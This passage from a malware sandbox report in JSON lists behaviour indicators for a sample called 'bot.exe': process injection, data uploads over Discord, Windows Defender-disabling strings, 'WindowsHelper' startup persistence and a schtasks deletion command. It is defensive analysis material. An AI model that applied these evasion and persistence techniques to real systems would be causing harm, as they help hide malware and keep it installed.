Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$68","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"\"bot.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\STATE\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"9D3D17B0FB6DDD010000000000000000000000000200000000\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops executable files inside temp directory","description":"$69","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-33","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"Found string \"fopen\" (Source: bot.exe, API is part of module: MSVCRT.DLL)\n Found string \"LocaleNameToLCID\" (Source: bot.exe, API is part of module: KERNELBASE.DLL)\n Found string \"AppPolicyGetProcessTerminationMethod\" (Source: bot.exe, API is part of module: KERNEL.APPCORE.DLL)\n Found string \"log10\" (Source: bot.exe, API is part of module: MSVCRT.DLL)","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"$6a","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"File exhibits characteristics of junk code obfuscation","description":"Section \"fothk\" has very low entropy (0.04)\n indicating potential NOP sled","origin":"Static Parser","mitre_attack_id":"T1027.016","relevance":3,"id":"static-9001","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"bot.exe\" has section name .rsrc with entropy \"7.5548822354346745\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"suspicious","category":"External Systems","name":"Detected Suricata alert – Encrypted channel","description":"Detected Encrypted Channel activity \"ET INFO Observed Discord Service Domain (discord .com) in TLS SNI\" (SID: 2060505, Rev: 1, Severity: 3) categorized as \"Misc activity\" (cert)","origin":"Suricata Alerts","mitre_attack_id":"T1573","relevance":6,"id":"suricata-17","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"suspicious","category":"General","name":"PE file has unusual entropy resources","description":"\"bot.exe\" has resource with unusual entropy \"RT_ICON:7.950949195950686\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":5,"id":"static-92","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"details too long to display","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"suspicious","category":"General","name":"Writes archive files","description":"\"bot.exe\" writes archive file \"%TEMP%\\_MEI0000052c2\\base_library.zip\"","origin":"API Call","mitre_attack_id":"T1560","relevance":5,"id":"api-168","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$6b","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"\"bot.exe\" wrote 8192 bytes starting with PE header signature to file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI0000052c2\\PIL\\_avif.cp314-win_amd64.pyd\": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000180100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","mitre_attack_id":"T1105","relevance":5,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"suspicious","category":"Network Related","name":"Attempts to identify external IP address","description":"\"ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 162.159.137.232 on port 443 is sent without HTTP header\n TCP traffic to 208.95.112.1 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"Found string \"ROOT\\CIMV2\" (Indicator: \"root\\cimv2\"; in Source: \"00000000-00002724-00002713-839128286\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$6c","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"$6d","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"OpenProcessToken\n GetProcAddress\n FindNextFileW\n GetFileSizeEx\n GetDriveTypeW\n TerminateProcess\n GetFileAttributesExW\n GetModuleHandleW\n OpenProcess\n DeleteFileW\n GetTempPathW\n GetModuleHandleExW\n CreateToolhelp32Snapshot\n CreateDirectoryW\n IsDebuggerPresent\n Process32NextW\n Process32FirstW\n Sleep\n WriteFile\n GetCommandLineA\n GetCommandLineW\n VirtualProtect\n GetStartupInfoW\n CreateProcessW\n LoadLibraryExW\n FindFirstFileExW\n CreateFileW\n GetModuleFileNameW\n UnhandledExceptionFilter\n FindFirstFileW\n GetCursorPos\n send\n bind\n WSAStartup\n WSASocketA\n accept\n connect\n listen\n recv\n CreateThreadpoolWork\n CreateThreadpoolTimer\n CreateThreadpoolWait\n SleepConditionVariableSRW\n CopyFileW\n GetTickCount64\n GetNativeSystemInfo\n RegOpenKeyExA\n RegOpenKeyA\n RegCloseKey\n RegEnumKeyA\n ExitThread\n CreateThread\n GetVersionExW\n DeviceIoControl\n LoadLibraryW\n GetModuleHandleA\n LoadLibraryA","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"$6e","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Queries firmware table information (may be used to fingerprint/evade)","description":"\"bot.exe\" at 00000000-00002724-00000C15-836646186\n \"bot.exe\" at 00000000-00002724-00000C15-836649740","origin":"API Call","mitre_attack_id":"T1120","relevance":10,"id":"api-65","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"bot.exe\" wrote 000011C0 bytes to a remote process \"C:\\bot.exe\" (Handle: 492)\n \"bot.exe\" wrote 00000008 bytes to a remote process \"C:\\bot.exe\" (Handle: 492)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"malicious","category":"Network Related","name":"Upload file using POST request","description":"details too long to display","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-58","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"bot.exe\" called \"LoadResource with parameter {'hModule': '54788097', 'hResInfo': '54914848'}\" (UID: 00000000-00003156)\n \"bot.exe\" called \"LoadResource with parameter {'hModule': '54788097', 'hResInfo': '54890000'}\" (UID: 00000000-00003156)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"bot.exe\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultLangID\" (Indicator: \"GetSystemDefaultLangID\"; Source: \"00000000-00003156.00000001.348266.F25B0000.00000002.mdmp\")\n Found reference to API \"kernel32.GetSystemDefaultLangID\" (Indicator: \"GetSystemDefaultLangID\"; Source: \"00000000-00003156.00000001.348266.F25B0000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; Source: \"00000000-00003156.00000001.348266.F25B0000.00000002.mdmp\")\n Found reference to API \"kernel32.GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; Source: \"00000000-00003156.00000001.348266.F25B0000.00000002.mdmp\")\n Found reference to API \"GetUserPreferredUILanguages\" (Indicator: \"GetUserPreferredUILanguages\"; Source: \"00000000-00003156.00000001.348266.F25B0000.00000002.mdmp\")\n Found reference to API \"kernel32.GetUserPreferredUILanguages\" (Indicator: \"GetUserPreferredUILanguages\"; Source: \"00000000-00003156.00000001.348266.F25B0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"bot.exe\" called \"GetForegroundWindow\" (UID: 00000000-00003156)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"bot.exe\" called \"GetWindowTextW\" with parameter \"4f004b00\" - (UID: 00000000-00003156)\n \"bot.exe\" called \"GetWindowTextW\" with parameter \"Failed to load Python DLL '%TEMP%\\_MEI00000d782\\python314.dll'.LoadLibrary: The specified module cou\" - (UID: 00000000-00003156)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"bot.exe\" called \"OpenMutexW\" with parameter \"Local\\MSCTF.Asm.MutexDefault1\" - (UID: 00000000-00003156)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"bot.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00003448)\n \"bot.exe\" called \"GetLocaleInfoW\" with parameter \"1033\" - (UID: 00000000-00003156)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"ucrtbase.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"informative","category":"General","name":"Contains references to file movement (imports API)","description":"Found MoveFileExW in import section (Source: ucrtbase.dll)","origin":"Static Parser","mitre_attack_id":"T1083","relevance":1,"id":"static-205","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\"bot.exe\" failed to load missing module \"api-ms-win-appmodel-runtime-l1-1-2\" - [base:0; Status:c0000135]","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$6f","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"bot.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"CreateMutexW\" (Indicator: \"CreateMutex\"; File: \"bot.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"bot.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"PE file has no resource directory","description":"\"libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll\" has no resource directory","origin":"Static Parser","mitre_attack_id":"T1027.008","relevance":7,"id":"static-9002","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Dropped file has high entropy (likely encrypted/compressed content)","description":"Dropped file \"%TEMP%\\_MEI00000d782\\PIL\\_avif.cp314-win_amd64.pyd\" has high entropy 7.01252","origin":"Binary File","mitre_attack_id":"T1027","relevance":5,"id":"binary-60","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Drops compressed file on the system","description":"\"base_library.zip\" has type \"Zip archive data made by v2.0 extract using at least v2.0 last modified Jan 01 1980 00:00:00 uncompressed size 7939 method=store\"","origin":"Binary File","mitre_attack_id":"T1027.015","relevance":1,"id":"binary-84","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API that may be used to take screenshots","description":"\"bot.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"22010765\"\n \"cx\": \"497\"\n \"cy\": \"30\"}\n \"bot.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"5401072e\"\n \"cx\": \"16\"\n \"cy\": \"16\"}\n \"bot.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"5101092b\"\n \"cx\": \"497\"\n \"cy\": \"30\"}\n \"bot.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"5101092b\"\n \"cx\": \"88\"\n \"cy\": \"26\"}\n \"bot.exe\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"5401072e\"\n \"cx\": \"88\"\n \"cy\": \"26\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":1,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"$70","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"malicious","category":"Installation/Persistence","name":"Allocates virtual memory in a remote process","description":"\"bot.exe\" allocated memory in \"C:\\bot.exe\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00001788.00000000.231734.8DE63000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"SELECT * FROM %Q.%Q\" (Indicator: \"select * from \"; Source: \"00000000-00001788.00000000.231734.6648D000.00000002.mdmp\")\n Found string \"SELECT 2 * total(1 + leaves_end_block - start_block) FROM (SELECT * FROM %Q.'%q_segdir' WHERE level = ? ORDER BY idx ASC LIMIT ? )\" (Indicator: \"select * from \"; Source: \"00000000-00001788.00000000.231734.6648D000.00000002.mdmp\")\n Found string \"SELECT * FROM \"%w\".\"%w_rowid\" WHERE rowid=?1\" (Indicator: \"select * from \"; Source: \"00000000-00001788.00000000.231734.6648D000.00000002.mdmp\")\n Found string \"SELECT * FROM %Q.'%q_rowid'\" (Indicator: \"select * from \"; Source: \"00000000-00001788.00000000.231734.6648D000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00001788.00000000.231734.8DE63000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00001788.00000000.231734.8DE63000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"00000000-00001788.00000000.231734.8DE63000.00000002.mdmp\")\n Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"00000000-00001788.00000000.231734.8DE63000.00000002.mdmp\")\n Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"00000000-00001788.00000000.231734.8DE63000.00000002.mdmp\")\n Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"00000000-00001788.00000000.231734.8DE63000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"bot.exe\" trying to access LNK file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsHelper.lnk\"\n \"bot.exe\" trying to access LNK file \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsHelper.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE6DC36E6C8367A6B3C2BF085788DC]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001788.00000000.231734.AFB10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00001788.00000000.231734.8DE63000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00001788.00000000.231734.8DE63000.00000002.mdmp, 00000000-00001788.00000000.231734.B1AD0000.00000004.mdmp, 00000000-00001788.00000001.233654.B1AD0000.00000004.mdmp, 00000000-00001788.00000002.235345.724E4000.00000002.mdmp, 00000000-00001788.00000002.235345.B1AD0000.00000004.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00001788.00000000.231734.8DE63000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00001788.00000000.231734.8DE63000.00000002.mdmp\")\n Found string \"DisableScriptScanning\" (Indicator: \"disablescriptscanning\"; Source: \"00000000-00001788.00000000.231734.8DE63000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Able to delete scheduled task(s)","description":"Found string \"schtasks /delete /f /tn WindowsHelperBoot\" (Indicator: \"schtasks /delete\"; Source: \"00000000-00001788-00000C47-120858439208\")","origin":"File/Memory","mitre_attack_id":"T1685","relevance":1,"id":"string-629","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"suspicious","category":"System Security","name":"Deletes registry keys","description":"\"bot.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"WINDOWSHELPER\"; Value: \"\")\n \"bot.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\"; Key: \"WINDOWSHELPER\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1070","relevance":3,"id":"registry-170","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\System32\\taskschd.dll\" at 93AA0000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Tries to delete scheduled tasks","description":"Process \"schtasks.exe\" with commandline \"schtasks /delete /f /tn WindowsHelperBoot\" (UID: 00000000-00002712)","origin":"Monitored Target","mitre_attack_id":"T1685","relevance":7,"id":"target-177","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Queries firmware table information (may be used to fingerprint/evade)"},{"detail":"Attempts to identify external IP address"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"Evasive","details_count":1,"details":[{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 